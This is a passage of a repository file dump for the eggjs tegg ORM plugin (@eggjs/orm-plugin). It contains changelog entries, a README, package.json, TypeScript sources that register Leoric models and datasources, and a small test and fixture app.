([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n\n### Features\n\n* use singleton model insteadof context ([#89](https://github.com/eggjs/tegg/issues/89)) ([cfdfc05](https://github.com/eggjs/tegg/commit/cfdfc05f13048806274de1a35b1207c073a8519d))\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n\n### Features\n\n* export singleton orm client ([#82](https://github.com/eggjs/tegg/issues/82)) ([5320af7](https://github.com/eggjs/tegg/commit/5320af77d7e7c5c73b80560a576f2ce01fc21fff))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n## [2.2.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.2.0...@eggjs/tegg-orm-plugin@2.2.1) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [2.2.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.1.4...@eggjs/tegg-orm-plugin@2.2.0) (2022-09-04)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n## [2.1.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.1.3...@eggjs/tegg-orm-plugin@2.1.4) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [2.1.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.1.1...@eggjs/tegg-orm-plugin@2.1.2) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [2.1.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.1.0...@eggjs/tegg-orm-plugin@2.1.1) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [2.1.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-plugin@2.0.0...@eggjs/tegg-orm-plugin@2.1.0) (2022-07-20)\n\n\n### Features\n\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n\n### Features\n\n* support leoric hooks ([#41](https://github.com/eggjs/tegg/issues/41)) ([9bdbc2c](https://github.com/eggjs/tegg/commit/9bdbc2cbe96df9f66f96b4f8e208883e99957946))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n"
  },
  {
    "path": "tegg/plugin/orm/README.md",
    "content": "# @eggjs/orm-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/orm-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/orm-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/orm-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/orm-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/orm-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/orm-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/orm-plugin\n\n使用注解的方式来开发 egg 中的 orm\n\n## Install\n\n```shell\nnpm i --save @eggjs/orm-plugin\n```\n\n## Config\n\n```js\n// config/plugin.js\nexports.teggOrm = {\n  package: '@eggjs/orm-plugin',\n  enable: true,\n};\n```\n"
  },
  {
    "path": "tegg/plugin/orm/package.json",
    "content": "{\n  \"name\": \"@eggjs/orm-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"orm decorator for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"leoric\",\n    \"module\",\n    \"orm\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/orm\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/orm\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/DataSourceManager\": \"./src/lib/DataSourceManager.ts\",\n    \"./lib/LeoricRegister\": \"./src/lib/LeoricRegister.ts\",\n    \"./lib/ModelProtoHook\": \"./src/lib/ModelProtoHook.ts\",\n    \"./lib/ModelProtoManager\": \"./src/lib/ModelProtoManager.ts\",\n    \"./lib/ORMLoadUnitHook\": \"./src/lib/ORMLoadUnitHook.ts\",\n    \"./lib/SingletonModelObject\": \"./src/lib/SingletonModelObject.ts\",\n    \"./lib/SingletonModelProto\": \"./src/lib/SingletonModelProto.ts\",\n    \"./lib/SingletonORM\": \"./src/lib/SingletonORM.ts\",\n    \"./lib/types\": \"./src/lib/types.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/DataSourceManager\": \"./dist/lib/DataSourceManager.js\",\n      \"./lib/LeoricRegister\": \"./dist/lib/LeoricRegister.js\",\n      \"./lib/ModelProtoHook\": \"./dist/lib/ModelProtoHook.js\",\n      \"./lib/ModelProtoManager\": \"./dist/lib/ModelProtoManager.js\",\n      \"./lib/ORMLoadUnitHook\": \"./dist/lib/ORMLoadUnitHook.js\",\n      \"./lib/SingletonModelObject\": \"./dist/lib/SingletonModelObject.js\",\n      \"./lib/SingletonModelProto\": \"./dist/lib/SingletonModelProto.js\",\n      \"./lib/SingletonORM\": \"./dist/lib/SingletonORM.js\",\n      \"./lib/types\": \"./dist/lib/types.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit --project tsconfig.typecheck.json\",\n    \"pretest\": \"node ./test/fixtures/prepare.js\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/orm-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"leoric\": \"catalog:\",\n    \"sdk-base\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"mysql2\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggOrm\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/app.ts",
    "content": "import { MODEL_PROTO_IMPL_TYPE } from '@eggjs/orm-decorator';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nimport { DataSourceManager } from './lib/DataSourceManager.ts';\nimport { LeoricRegister } from './lib/LeoricRegister.ts';\nimport { ModelProtoHook } from './lib/ModelProtoHook.ts';\nimport { ModelProtoManager } from './lib/ModelProtoManager.ts';\nimport { ORMLoadUnitHook } from './lib/ORMLoadUnitHook.ts';\nimport { SingletonModelObject } from './lib/SingletonModelObject.ts';\nimport SingletonModelProto from './lib/SingletonModelProto.ts';\n\nexport default class OrmAppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private readonly dataSourceManager: DataSourceManager;\n  private readonly leoricRegister: LeoricRegister;\n  private readonly modelProtoManager: ModelProtoManager;\n  private readonly modelProtoHook: ModelProtoHook;\n  private readonly ormLoadUnitHook: ORMLoadUnitHook;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.dataSourceManager = new DataSourceManager();\n    this.modelProtoManager = new ModelProtoManager();\n    this.leoricRegister = new LeoricRegister(this.modelProtoManager, this.dataSourceManager);\n    this.modelProtoHook = new ModelProtoHook(this.modelProtoManager);\n    this.app.eggPrototypeCreatorFactory.registerPrototypeCreator(\n      MODEL_PROTO_IMPL_TYPE,\n      SingletonModelProto.createProto,\n    );\n    this.app.leoricRegister = this.leoricRegister;\n    this.ormLoadUnitHook = new ORMLoadUnitHook();\n  }\n\n  configWillLoad(): void {\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.modelProtoHook);\n    this.app.eggObjectFactory.registerEggObjectCreateMethod(SingletonModelProto, SingletonModelObject.createObject);\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.ormLoadUnitHook);\n  }\n\n  configDidLoad(): void {\n    const config = this.app.config.orm;\n    if (config.datasources) {\n      for (const datasource of config.datasources) {\n        this.dataSourceManager.addConfig(datasource);\n      }\n    } else {\n      this.dataSourceManager.addDefaultConfig(config);\n    }\n  }\n\n  async didLoad(): Promise<void> {\n    await this.app.moduleHandler.ready();\n    await this.leoricRegister.register();\n  }\n\n  async beforeClose(): Promise<void> {\n    this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.modelProtoHook);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/config/config.default.ts",
    "content": "import type { OrmConfig } from '../lib/DataSourceManager.ts';\n\nexport interface AppOrmConfig extends OrmConfig {\n  datasources?: OrmConfig[];\n}\n\nexport default {\n  orm: {} as AppOrmConfig,\n};\n"
  },
  {
    "path": "tegg/plugin/orm/src/index.ts",
    "content": "import './types.ts';\nimport { LeoricRegister } from './lib/LeoricRegister.ts';\nimport { Orm } from './lib/SingletonORM.ts';\n\nexport { Orm, LeoricRegister };\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/DataSourceManager.ts",
    "content": "// exports.orm = {\n//   client: 'mysql',\n//   database: 'test',\n//   host: 'localhost',\n//   port: 3306,\n//   user: 'root',\n//\n//   delegate: 'model',\n//   baseDir: 'model',\n//   migrations: 'database',\n//\n//   define: {\n//     underscored: true,\n//   },\n//\n//   // or put your config into datasources array to connect multiple databases\n//   // datasources: [],\n// };\nexport interface OrmConfig {\n  client: string;\n  database: string;\n  host: string;\n  port: number;\n  user: string;\n  define: object;\n  options: object;\n  charset: string;\n  [key: string]: any;\n}\n\nexport class DataSourceManager {\n  private readonly dataSourceConfigs: OrmConfig[];\n  private defaultDataSourceConfig?: OrmConfig;\n\n  constructor() {\n    this.dataSourceConfigs = [];\n  }\n\n  addDefaultConfig(config: OrmConfig): void {\n    this.defaultDataSourceConfig = config;\n  }\n\n  getDefaultConfig(): OrmConfig | undefined {\n    return this.defaultDataSourceConfig;\n  }\n\n  addConfig(config: OrmConfig): void {\n    this.dataSourceConfigs.push(config);\n  }\n\n  getConfig(name: string): OrmConfig | undefined {\n    if (this.defaultDataSourceConfig?.database === name) {\n      return this.defaultDataSourceConfig;\n    }\n    return this.dataSourceConfigs.find((t) => t.database === name);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/LeoricRegister.ts",
    "content": "import { ModelMetadata, ModelMetadataUtil } from '@eggjs/orm-decorator';\nimport Realm from 'leoric';\nimport { Base } from 'sdk-base';\n\nimport { DataSourceManager, type OrmConfig } from './DataSourceManager.ts';\nimport { ModelProtoManager } from './ModelProtoManager.ts';\nimport type { RealmType } from './types.ts';\n\nexport class LeoricRegister extends Base {\n  private readonly modelProtoManager: ModelProtoManager;\n  private readonly dataSourceManager: DataSourceManager;\n  readonly realmMap: Map<string, RealmType>;\n\n  constructor(modelProtoManager: ModelProtoManager, dataSourceManager: DataSourceManager) {\n    super();\n    this.modelProtoManager = modelProtoManager;\n    this.dataSourceManager = dataSourceManager;\n    this.realmMap = new Map();\n  }\n\n  getConfig(datasource?: string): OrmConfig | undefined {\n    let config: OrmConfig | undefined;\n    if (!datasource) {\n      config = this.dataSourceManager.getDefaultConfig();\n    } else {\n      config = this.dataSourceManager.getConfig(datasource);\n    }\n    return config;\n  }\n\n  getRealm(config: OrmConfig | undefined): RealmType | undefined {\n    if (!config?.database) {\n      return undefined;\n    }\n    const realm = this.realmMap.get(config.database);\n    return realm;\n  }\n\n  getOrCreateRealm(datasource: string | undefined): any {\n    const config = this.getConfig(datasource);\n    let realm: RealmType | undefined;\n    if (config) {\n      realm = this.getRealm(config);\n      if (realm) {\n        return realm;\n      }\n    }\n    realm = new (Realm as any)({ ...config });\n    this.realmMap.set(config!.database, realm!);\n    return realm;\n  }\n\n  generateLeoricAttributes(metadata: ModelMetadata): Record<string, any> {\n    const attributes: Record<string, any> = {};\n    for (const attribute of metadata.attributes) {\n      attributes[attribute.propertyName] = {\n        columnName: attribute.attributeName,\n        type: attribute.dataType,\n        allowNull: attribute.allowNull,\n        primaryKey: attribute.primary,\n        unique: attribute.unique,\n        autoIncrement: attribute.autoIncrement,\n      };\n    }\n    return attributes;\n  }\n\n  async register(): Promise<void> {\n    for (const { proto, clazz } of this.modelProtoManager.getProtos()) {\n      const metadata = ModelMetadataUtil.getModelMetadata(clazz);\n      if (!metadata) throw new Error(`not found metadata for model ${proto.id}`);\n      const realm = this.getOrCreateRealm(metadata.dataSource);\n      realm.models[clazz.name] = clazz;\n      realm[clazz.name] = clazz;\n      const attributes = this.generateLeoricAttributes(metadata);\n      const hooks: Record<string, any> = {};\n      for (const hookName of Realm.hookNames) {\n        if (clazz[hookName as keyof typeof clazz]) {\n          hooks[hookName] = clazz[hookName as keyof typeof clazz];\n        }\n      }\n\n      (clazz as any).init(\n        attributes,\n        {\n          tableName: metadata.tableName,\n          hooks,\n        },\n        {},\n      );\n    }\n    await Promise.all(Array.from(this.realmMap.values()).map((realm) => realm.connect()));\n    this.ready(true);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/ModelProtoHook.ts",
    "content": "import type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport { IS_MODEL, ModelMetaBuilder, ModelMetadataUtil } from '@eggjs/orm-decorator';\n\nimport { ModelProtoManager } from './ModelProtoManager.ts';\n\nexport class ModelProtoHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  private readonly modelProtoManager: ModelProtoManager;\n\n  constructor(modelProtoManager: ModelProtoManager) {\n    this.modelProtoManager = modelProtoManager;\n  }\n\n  async postCreate(ctx: EggPrototypeLifecycleContext, obj: EggPrototype): Promise<void> {\n    if (!obj.getMetaData(IS_MODEL)) {\n      return;\n    }\n    const builder = new ModelMetaBuilder(ctx.clazz);\n    const metadata = builder.build();\n    ModelMetadataUtil.setModelMetadata(ctx.clazz, metadata);\n    this.modelProtoManager.addProto(ctx.clazz, obj);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/ModelProtoManager.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/core-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\n\nexport interface ModelProtoPair {\n  proto: EggPrototype;\n  clazz: EggProtoImplClass;\n}\n\nexport class ModelProtoManager {\n  private readonly protos: Array<ModelProtoPair> = [];\n\n  addProto(clazz: EggProtoImplClass, proto: EggPrototype): void {\n    this.protos.push({ proto, clazz });\n  }\n\n  getProtos(): Array<ModelProtoPair> {\n    return this.protos.slice();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/ORMLoadUnitHook.ts",
    "content": "import type { LifecycleHook } from '@eggjs/lifecycle';\nimport {\n  EggLoadUnitType,\n  EggPrototypeCreatorFactory,\n  EggPrototypeFactory,\n  type LoadUnit,\n  type LoadUnitLifecycleContext,\n} from '@eggjs/metadata';\n\nimport { Orm } from './SingletonORM.ts';\n\nconst REGISTER_CLAZZ = [Orm];\n\nexport class ORMLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  async postCreate(_ctx: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    if (loadUnit.type === EggLoadUnitType.APP) {\n      for (const clazz of REGISTER_CLAZZ) {\n        const protos = await EggPrototypeCreatorFactory.createProto(clazz, loadUnit);\n        for (const proto of protos) {\n          EggPrototypeFactory.instance.registerPrototype(proto, loadUnit);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/SingletonModelObject.ts",
    "content": "import type { EggPrototypeName, EggObjectName } from '@eggjs/core-decorator';\nimport { type Id, IdenticalUtil } from '@eggjs/lifecycle';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { EGG_CONTEXT } from '@eggjs/module-common';\nimport { ContextHandler, type EggObject, EggObjectStatus } from '@eggjs/tegg-runtime';\nimport type { Bone } from 'leoric';\n\nimport SingletonModelProto from './SingletonModelProto.ts';\n\nexport class SingletonModelObject implements EggObject {\n  private status: EggObjectStatus = EggObjectStatus.PENDING;\n  id: Id;\n  readonly name: EggPrototypeName;\n  private _obj: typeof Bone;\n  readonly proto: SingletonModelProto;\n\n  constructor(name: EggObjectName, proto: SingletonModelProto) {\n    this.name = name;\n    this.proto = proto;\n    this.id = IdenticalUtil.createObjectId(this.proto.id);\n  }\n\n  async init(): Promise<void> {\n    const clazz = class ContextModelClass extends this.proto.model {\n      // @ts-ignore: name is a static property of the class\n      static get name() {\n        return super.name;\n      }\n\n      static get ctx() {\n        const ctx = ContextHandler.getContext();\n        if (ctx) {\n          return ctx.get(EGG_CONTEXT);\n        }\n      }\n\n      get ctx() {\n        return ContextModelClass.ctx;\n      }\n    };\n    this._obj = clazz;\n    this.status = EggObjectStatus.READY;\n  }\n\n  injectProperty(): void {\n    throw new Error('never call ModelObject#injectProperty');\n  }\n\n  get isReady(): boolean {\n    return this.status === EggObjectStatus.READY;\n  }\n\n  /**\n   * get Model Class, to store instance objects\n   */\n  get obj(): typeof Bone {\n    return this._obj;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<SingletonModelObject> {\n    const modelObject = new SingletonModelObject(name, proto as SingletonModelProto);\n    await modelObject.init();\n    return modelObject;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/SingletonModelProto.ts",
    "content": "import {\n  AccessLevel,\n  type EggPrototypeName,\n  ObjectInitType,\n  type QualifierInfo,\n  QualifierUtil,\n  MetadataUtil,\n  type MetaDataKey,\n  type QualifierAttribute,\n  type QualifierValue,\n} from '@eggjs/core-decorator';\nimport { type Id, IdenticalUtil } from '@eggjs/lifecycle';\nimport type {\n  EggPrototype,\n  LoadUnit,\n  EggPrototypeLifecycleContext,\n  InjectObjectProto,\n  InjectConstructorProto,\n} from '@eggjs/metadata';\nimport type { Bone } from 'leoric';\n\nexport default class SingletonModelProto implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n  private readonly qualifiers: QualifierInfo[];\n  readonly accessLevel: AccessLevel = AccessLevel.PUBLIC;\n  id: Id;\n  readonly initType: ObjectInitType = ObjectInitType.SINGLETON;\n  readonly injectObjects: (InjectObjectProto | InjectConstructorProto)[] = [];\n  readonly loadUnitId: string;\n  readonly moduleName: string;\n  readonly name: EggPrototypeName;\n  readonly model: typeof Bone;\n\n  constructor(loadUnit: LoadUnit, model: typeof Bone) {\n    this.model = model;\n    this.id = IdenticalUtil.createProtoId(loadUnit.id, `leoric:${model.name}`);\n    this.loadUnitId = loadUnit.id;\n    this.moduleName = loadUnit.name;\n    this.name = model.name;\n    this.qualifiers = QualifierUtil.getProtoQualifiers(model);\n  }\n\n  constructEggObject(): object {\n    return {};\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return MetadataUtil.getMetaData(metadataKey, this.model);\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  getQualifier(attribute: QualifierAttribute): QualifierValue | undefined {\n    return this.qualifiers.find((t) => t.attribute === attribute)?.value;\n  }\n\n  static createProto(ctx: EggPrototypeLifecycleContext): SingletonModelProto {\n    return new SingletonModelProto(ctx.loadUnit, ctx.clazz as typeof Bone);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/SingletonORM.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { LeoricRegister } from './LeoricRegister.ts';\nimport type { RealmType } from './types.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Orm {\n  @Inject()\n  private leoricRegister: LeoricRegister;\n\n  // default dataSource\n  get client(): RealmType {\n    const defaultConfig = this.leoricRegister.getConfig();\n    return this.leoricRegister.getRealm(defaultConfig)!;\n  }\n\n  getClient(datasource: string): RealmType {\n    const config = this.leoricRegister.getConfig(datasource);\n    if (!config) {\n      throw new Error(`not found ${datasource} datasource`);\n    }\n    return this.leoricRegister.getOrCreateRealm(config.database)!;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/src/lib/types.ts",
    "content": "import type { AbstractDriver, connect } from 'leoric';\n\nexport type DataType = AbstractDriver['DataType'];\nexport type RealmType = Awaited<ReturnType<typeof connect>>;\n"
  },
  {
    "path": "tegg/plugin/orm/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\nimport type { AttributeOptions } from '@eggjs/orm-decorator';\n\nimport type { AppOrmConfig } from './config/config.default.ts';\nimport type { LeoricRegister } from './lib/LeoricRegister.ts';\nimport type { Orm } from './lib/SingletonORM.ts';\nimport type { DataType } from './lib/types.ts';\n\ndeclare module '@eggjs/orm-decorator' {\n  // @ts-expect-error: DataType is not defined in tegg-orm-decorator\n  export function Attribute(\n    dataType: DataType,\n    options?: AttributeOptions,\n  ): (target: any, propertyKey: PropertyKey) => void;\n}\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * orm config\n     */\n    orm: AppOrmConfig;\n  }\n\n  interface Application {\n    leoricRegister: LeoricRegister;\n    orm: Orm;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/orm/test/__snapshots__/exports.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`plugin/orm/exports.test.ts > should export stable 1`] = `\n{\n  \"LeoricRegister\": [Function],\n  \"Orm\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/plugin/orm/test/exports.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ndescribe('plugin/orm/exports.test.ts', () => {\n  it('should export stable', () => {\n    expect(exports).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/orm/test/fixtures/apps/orm-app/app.ts",
    "content": "import { Application } from 'egg';\nimport Realm from 'leoric';\n\n// @ts-expect-error: the library definition is wrong\nconst Logger = Realm.Logger;\n\nexport default class OrmAppHook {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    await this.app.leoricRegister.ready();\n    const app = this.app;\n    for (const realm of this.app.leoricRegister.realmMap.values()) {\n      (realm.driver as any).logger = new Logger({\n        logQuery(sql: any, _: any, options: any) {\n          const path = options.Model?.ctx?.path;\n          app.logger.warn('sql: %s path: %s', sql, path);\n        },\n      });\n    }\n  }\n}\n"
  },
  {
